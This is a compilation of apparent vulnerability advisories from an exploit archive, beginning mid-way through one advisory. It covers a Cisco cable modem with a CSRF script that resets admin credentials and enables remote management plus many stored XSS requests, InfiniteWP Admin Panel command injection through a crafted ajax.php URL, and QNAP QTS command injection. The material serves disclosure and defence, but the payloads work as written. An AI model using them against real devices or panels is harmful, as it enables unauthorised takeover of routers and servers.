sortWireless=status&h_sortWireless=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/WClientMACList.asp
Content-type: text/html
Connection: close

( ... crash ... )

4. (Un)authorized channel Selection

On Cisco 3925 unauthorized user can edit device channel settings and restart the modem. Such functionality should be available only for logged users, for example it's disabled on EPC 3928.

5. CSRF

There is no prevention against CSRF attacks, attacker can for example change admin credentials and enable remote managment in single request.

PoC:
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.100.1/goform/Administration", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "pl,en-US;q=0.7,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "connection_mode=0&saRgIpMgmtWanDualIpAddrIP0=0&saRgIpMgmtWanDualIpAddrIP1=0&saRgIpMgmtWanDualIpAddrIP2=0&saRgIpMgmtWanDualIpAddrIP3=0&saRgIpMgmtWanDualIpRipAdvertised=0x0&wan_ip_1=0&wan_ip_2=0&wan_ip_3=0&wan_ip_4=0&wan_mask_1=0&wan_mask_2=0&wan_mask_3=0&wan_mask_4=0&wan_gw_1=0&wan_gw_2=0&wan_gw_3=0&wan_gw_4=0&Host_Name=&Domain_Name=&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns1_4=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_dns2_4=0&wan_mtuSize=0&sysname=admin&sysPasswd=newpass&sysConfirmPasswd=newpass&remote_management=enable&http_wanport=8080&upnp_enable=disable&save=Save+Settings&preWorkingMode=1&h_remote_management=enable&h_check_WebAccessUserIfLevel=2&h_upnp_enable=disable&h_wlan_enable=enable&h_user_type=common";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>

6. Stored XSS in Administration -> Reporting

#1 - Request:
POST /goform/Log HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Log.asp
Cookie: Lang=en; SessionID=457480
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 236

email_enable=enable&smtp_server=%22+onmouseover%3Dalert%281%29+x%3D%22y&email_for_log=%22+onmouseover%3Dalert%282%29+x%3D%22y&SmtpUsername=%22+onmouseover%3Dalert%283%29+x%3D%22y&SmtpPassword=aaa&save=Save+Settings&h_email_enable=enable

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Log.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Log.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Log.asp
Cookie: Lang=en; SessionID=457480
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 6454
(...)
<TD>
<input type="text" name="smtp_server" maxlength="255" size="30" value="" onmouseover=alert(1) x="y" />
</TD>
</TR>
<tr>
<TD>
<script language="javascript" type="text/javascript">dw(va_log_email3);</script>
</TD>
<TD>
<input type="text" name="email_for_log" maxlength="255" size="30" value="" onmouseover=alert(2) x="y"/>
</TD>
</TR>
<tr>
<TD>
<script language="javascript" type="text/javascript">dw(msg_smtp_username);</script>
</TD>
<TD>
<input type="text" name="SmtpUsername" maxlength="255" size="30" value="" onmouseover=alert(3) x="y" />
</TD>
</TR>
(...)

7. Stored XSS in User Name (Administration -> Managment / Setup -> Quick Setup)

#1 - Request:
POST /goform/Administration HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Administration.asp
Cookie: Lang=en; SessionID=457480
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 746

connection_mode=0&saRgIpMgmtWanDualIpAddrIP0=0&saRgIpMgmtWanDualIpAddrIP1=0&saRgIpMgmtWanDualIpAddrIP2=0&saRgIpMgmtWanDualIpAddrIP3=0&saRgIpMgmtWanDualIpRipAdvertised=0x0&wan_ip_1=0&wan_ip_2=0&wan_ip_3=0&wan_ip_4=0&wan_mask_1=0&wan_mask_2=0&wan_mask_3=0&wan_mask_4=0&wan_gw_1=0&wan_gw_2=0&wan_gw_3=0&wan_gw_4=0&Host_Name=&Domain_Name=&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns1_4=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_dns2_4=0&wan_mtuSize=0&sysname=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&sysPasswd=aaa&sysConfirmPasswd=aaa&remote_management=disable&upnp_enable=disable&save=Save+Settings&preWorkingMode=1&h_remote_management=disable&h_check_WebAccessUserIfLevel=2&h_upnp_enable=disable&h_wlan_enable=enable&h_user_type=common

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Quick_setup.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Quick_setup.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Administration.asp
Cookie: Lang=en; SessionID=457480
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 34779
(...)
<tr>
<td nowrap>
<script language="javascript" type="text/javascript">dw(va_local_access2);</script>
</td>
<td nowrap>
<script>alert('XSS')</script>
</td>
</tr>
(...)

8. Stored XSS in User Name #2 (Access Restrictions -> User Setup)

#1 - Request:
POST /goform/Rg_UserSetup HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_UserSetup.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

NewUser=user onmouseover=alert('XSS')&Btn_AddUser=Add+User&AddUser=1&UserList=Default&RemoveUser=0&UserConfigChanged=0

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Rg_UserSetup.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Rg_UserSetup.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_UserSetup.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 9706
(...)
<select onchange="submit();" name="UserList">
<option value=Default >1. Default<option value=user onmouseover=alert('XSS') selected>2. user onmouseover=alert('XSS
</select>
(...)

9. Stored XSS in ToD Filter

#1 - Request:
POST /goform/Rg_TodFilter HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_TodFilter.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 189

TodClient=<script>alert('XSS')</script>&TodAdd=Add&addTodClient=1&ToDComputers=No+filters+entered.&removeTodClient=&StartHour=12&StartMinute=00&StartAmPm=1&EndHour=12&EndMinute=00&EndAmPm=1

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Rg_TodFilter.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Rg_TodFilter.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_TodFilter.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 9140
(...)
<select name="ToDComputers" onChange="submit();">
<option value=0 selected>1. <script>alert('XSS')</script>
</select>
(...)

10. Stored XSS in Rule Name (Access Restrictions -> Basic Rules)

#1 - Request:
POST /goform/Rg_ParentalBasic HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 282

NewContentRule=<script>alert('XSS')</script>&AddRule=Add+Rule&AddContentRule=1&ContentRules=0&RemoveContentRule=0&NewKeyword=&KeywordAction=0&NewDomain=&DomainAction=0&NewAllowedDomain=&AllowedDomainAction=0&ParentalPassword=*******&ParentalPasswordReEnter=*******&AccessDuration=30

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Rg_ParentalBasic.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Rg_ParentalBasic.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 11126
(...)
<select name="ContentRules" onChange="submit();">
<option value=0 selected>1. Default<option value=1 >2. <script>alert('XSS')</script>
</select>
(...)

11. Stored XSS in Domain Name (Access Restrictions -> Basic Rules)

#1 - Request:
POST /goform/Rg_ParentalBasic HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 318

NewContentRule=&AddContentRule=&ContentRules=0&RemoveContentRule=0&NewKeyword=&KeywordAction=0&NewDomain=&DomainAction=0&NewAllowedDomain=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&AddAllowedDomain=Add+Allowed+Domain&AllowedDomainAction=1&ParentalPassword=*******&ParentalPasswordReEnter=*******&AccessDuration=30

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Rg_ParentalBasic.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Rg_ParentalBasic.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 10741
(...)
<select name="AllowedDomainList" size=5>
<option value="1"><script>alert('XSS')</script>
</select>
(...)

12. Stored XSS in Network Name (e.g Wireless -> Basic Settings)

#1 - Request:
POST /goform/Quick_setup HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Quick_setup.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 371

Password=&PasswordReEnter=&setup_wifi_enable=enable&ssid=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&security_mode=psk2_mixed&wpa_enc=tkip%2Baes&wpa_psk_key=231503725&radius_ip_1=0&radius_ip_2=0&radius_ip_3=0&radius_ip_4=0&keysize=64&tx_key=1&save=Save+Settings&h_setup_wifi_enable=enable&h_security_mode=psk2_mixed&h_wpa_enc=tkip%2Baes&qs_wds_setting=disable&UserId=

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Quick_setup.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Wireless.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Quick_setup.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 51653
(...)
<tr>
<td>
<B><script language="javascript" type="text/javascript">dw(vwnetwork_name);</script></B>
</td>
<td colspan="2">
<script>alert('XSS')</script>
</td>
</tr>
(...)

13. Stored XSS in DDNS Settings (Setup -> DDNS)

#1 - Request:
POST /goform/Setup_DDNS HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Setup_DDNS.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 154

DdnsService=0&DdnsUserName=user" onmouseover=alert('XSS_1') x="&DdnsPassword=aaa x="&DdnsHostName=host" onmouseover=alert('XSS_2') x="y&save=Save+Settings

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Setup_DDNS.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Setup_DDNS.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Setup_DDNS.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 5738
(...)
<td>
<input name="DdnsUserName" type="text" size="16" maxlength="64" value="user" onmouseover=alert('XSS_1') x="" />
</td>
(...)
<td>
<input name="DdnsHostName" type="text" size="32" maxlength="256" value="host" onmouseover=alert('XSS_2') x="y" />
</td>
(...)

14. Stored XSS in Adv. VPN Setup (Security -> VPN -> Advanced Settings)

#1 - Request:
POST /goform/vpn_adv HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/vpn_adv.asp
Cookie: Lang=en; SessionID=1320560
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 286

NegotiationMode=0&LocalIdentityType=2&LocalIdentity=abc%22+onmouseover%3Dalert%28%27XSS%27%29+x%3D%22y&RemoteIdentityType=2&RemoteIdentity=abc%22+onmouseover%3Dalert%28%27XSS%27%29+x%3D%22y&Phase1Encryption=2&Phase1Authentication=1&Phase1DhGroup=0&Phase1SaLifetime=28800&Phase2DhGroup=0

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/vpn_adv.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /vpn_adv.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/vpn_adv.asp
Cookie: Lang=en; SessionID=1320560
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 10179
(...)
<td>
<input type="radio" name="LocalIdentityType" value="2" onClick="LocalIdentityTypeClicked();" />
<script language="javascript" type="text/javascript">dw(vs_identity_name);</script>
<input type="text" name="LocalIdentity" size="16" maxlength="32" value="abc" onmouseover=alert('XSS') x="y" />
</td>
(...)
<tr>
<td>
<input type="radio" name="RemoteIdentityType" value="2" onClick="RemoteIdentityTypeClicked();">
<script language="javascript" type="text/javascript">dw(vs_identity_name);</script>
<input type="text" name="RemoteIdentity" size="16" maxlength="32" value="abc" onmouseover=alert('XSS') x="y" />
</td>
</tr>
(...)


Exploit Files ≈ Packet Storm

------------------------------------------------------------------------
Command injection in InfiniteWP Admin Panel
------------------------------------------------------------------------
Sipke Mellema, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
The InfiniteWP Admin Panel can be used to execute arbitrary system
commands. The vulnerability can be exploited using an authorization
bypass or by making an authorized user visit a specially crafted URL.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0006

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on IWPAdminPanel version 2.8.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in IWPAdminPanel version 2.9.0.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/command_injection_in_infinitewp_admin_panel.html

The file ajax.php can be used to execute arbitrary system commands on a system running the InfiniteWP plugin Admin Panel. When an authorized user calls ajax.php, the handler method from the panelRequestManager class is called:

$ result = panelRequestManager::handler($ _REQUEST);

In this handler an if statement will check access levels, if the method userRestrictChecking is implemented. However, this method is not implemented in the default (free) version.

The code will follow on with converting user input to multiple variables.

$ actionResult = $ data = array();
$ action = $ requestData['action'];
$ siteIDs = $ requestData['args']['siteIDs'];
$ params = $ requestData['args']['params'];
$ extras = $ requestData['args']['extras'];
$ requiredData = $ requestData['requiredData'];

Later on in the code, the method requiredData is called with user data as an argument.

$ data = self::requiredData($ requiredData);

The method requiredData will try to execute methods supplied by the user, using the method evaluateMethod. Multiple methods are allowed.

foreach($ requiredData as $ action => $ args){
$ data[$ action] = self::evaluateMethod($ action, $ args);

The evaluateMethod method will check if the requested action exists in the panelRequestManager class. If so, the action will be called with the arguments as requested by the user. If the method does not exist in the panelRequestManager class, the code will check if the action exists in the array self::$ addonFunctions. If it is, the action will get executed.

public static function evaluateMethod($ action, $ args)
if(method_exists('panelRequestManager', $ action)){
if($ action == 'getSitesUpdates'){
return self::$ action($ GLOBALS['userID']);
else
return self::$ action($ args);

eif(in_array($ action, self::$ addonFunctions) && function_exists($ action)){
return call_user_func($ action, $ args);

By default, users can only execute commands that are contained in the panelRequestManager class, or in self::$ addonFunctions. But the panelRequestManager class includes a method called addFunctions that can be used to add methods to the array of methods that can be called from evaluateMethod. It's possible to invoke the addFunctions method to include system commands in the list of allowed methods.

public static function addFunctions()
$ args = func_get_args();
self::$ addonFunctions = array_merge(self::$ addonFunctions, $ args);

The vulnerability can be exploited using an authorization bypass or by making an authorized user visit a URL.
Proof of concept

Have a logged in user visit the following URL:
http://www.<webserver>.com/IWPAdminPanel_v2.8.0/ajax.php?action=foo&requiredData%5BaddFunctions%5D=system&requiredData%5Bsystem%5D=whoami

It should now look something like:

"actionResult":[],"data":{"addFunctions":null,"system":"www-data"...

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.


Exploit Files ≈ Packet Storm

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2016-054
Product: QNAP QTS
Manufacturer: QNAP
Affected Version(s): 4.2.1 Build 20160601
Tested Version(s): 4.2.1 Build 20160601 - 4.2.2 Build 20160812
Vulnerability Type: OS Command Injection (CWE-78)
Risk Level: High
Solution Status: unfixed
Manufacturer Notification: 2016-06-07
Solution Date: tbd.
Public Disclosure: 2016-08-18
CVE Reference: Not assigned
Author of Advisory: Sebastian Nerz (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

QTS is the operating system used by manufacturer QNAP on its series of
NAS devices[1].

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SySS GmbH found an os command injection in the appRequest plugin of
the current QTS administrative interface.

This type of vulnerability allows an attacker to run arbitrary commands
on the operating system of the host as root.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1. Log in to the QNAP. The user needs no special privileges.
2. Run a request like the following:

==
POST /cgi-bin/application/appRequest.cgi?&action=getRemoteRSS HTTP/1.1
Host: 192.168.42.201:8080
Content-Length: 39

lang=geryyy><&subfunc=qpkg&sid=[validSid]

==
3. The lang-Parameter will be placed inside of a wget-command without
encoding or sanitizing the string. It will be shortened to only 8
characters lengths, making exploiting difficult. Still e.g. overwriting
critical data would be easy.

The above requests displays an error message in the header, similar to
the following:

HTTP/1.1 200 OK
Date: Tue, 07 Jun 2016 05:57:57 GMT
sh: -c: line 0: syntax error near unexpected token `<'
sh: -c: line 0: `/usr/bin/wget -t 1 -T 30 -q http://download.qnap.com/Liveupdate/QTS4.2.1/qpkgcenter_geryyy><hPThy<}hPSa .xml -O /home/httpd/RSS/rssdoc/qpkgcenter_geryyy><hPThy<}hPSa .xml.tmp 1>>/dev/null 2>>/dev/null'
Content-type: text/xml
Content-Length: 4587

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The manufacturer has not released any security update or patch so far.
Administrators of QNAP QTS 4.2 installations should ensure that only
trusted users/administrators have access to the device.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2016-06-07: Vulnerability discovered and reported to manufacturer
2016-06-20: Vulnerability report confirmed by manufacturer
2016-07-06: Manufacturer asked for timeline regarding a fix
2016-07-18: Manufacturer reminded about upcoming public disclosure
2016-08-18: Public disclosure

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for QNAP QTS
http://www.qnap.com/qts/4.2/en/
[2] SySS Security Advisory SYSS-2016-054
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-054.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

Security vulnerability found by Sebastian Nerz of the SySS GmbH.

E-Mail: [email protected]
Public Key:
https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Sebastian_Nerz.asc
Key ID: 0x9180FDB2
Key Fingerprint: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQEcBAEBCgAGBQJXtWVoAAoJENEtJqSRgP2ydA0H/jHyaW0S//do0y13oEWH1n8O
QAwTKnWY5SiPOZ6CdEFh+W7VsuZsh5QupIHFm/mYRPZ3gfBmFc/Pk9f/qQFCoHmc
6whFVm/E8WbwasHUo4uLEiFwFOsCSG2j+45+DqF5YIWXQZm/Fk7q+AlSEqQo169+
kvXoZpGD81JAq0TwzpbKFExwip+zxlSdkjffwXoJcNijD1DXIRjx1j5qML9P5W/h
UJVCkAiAoICJf8Cei6jrIDN/LjvHHWtw2R7AFw0Eic3CQjkdWFqAHOEV6s7CNQjD
Rrr3za7BPN6CUe098BDbnXhmIFu4T2ZbJ+88jPMXHUv5NcvZ7SwSIE++uYQ0FmI=
=LzeJ
-----END PGP SIGNATURE-----


Exploit Files ≈ Packet Storm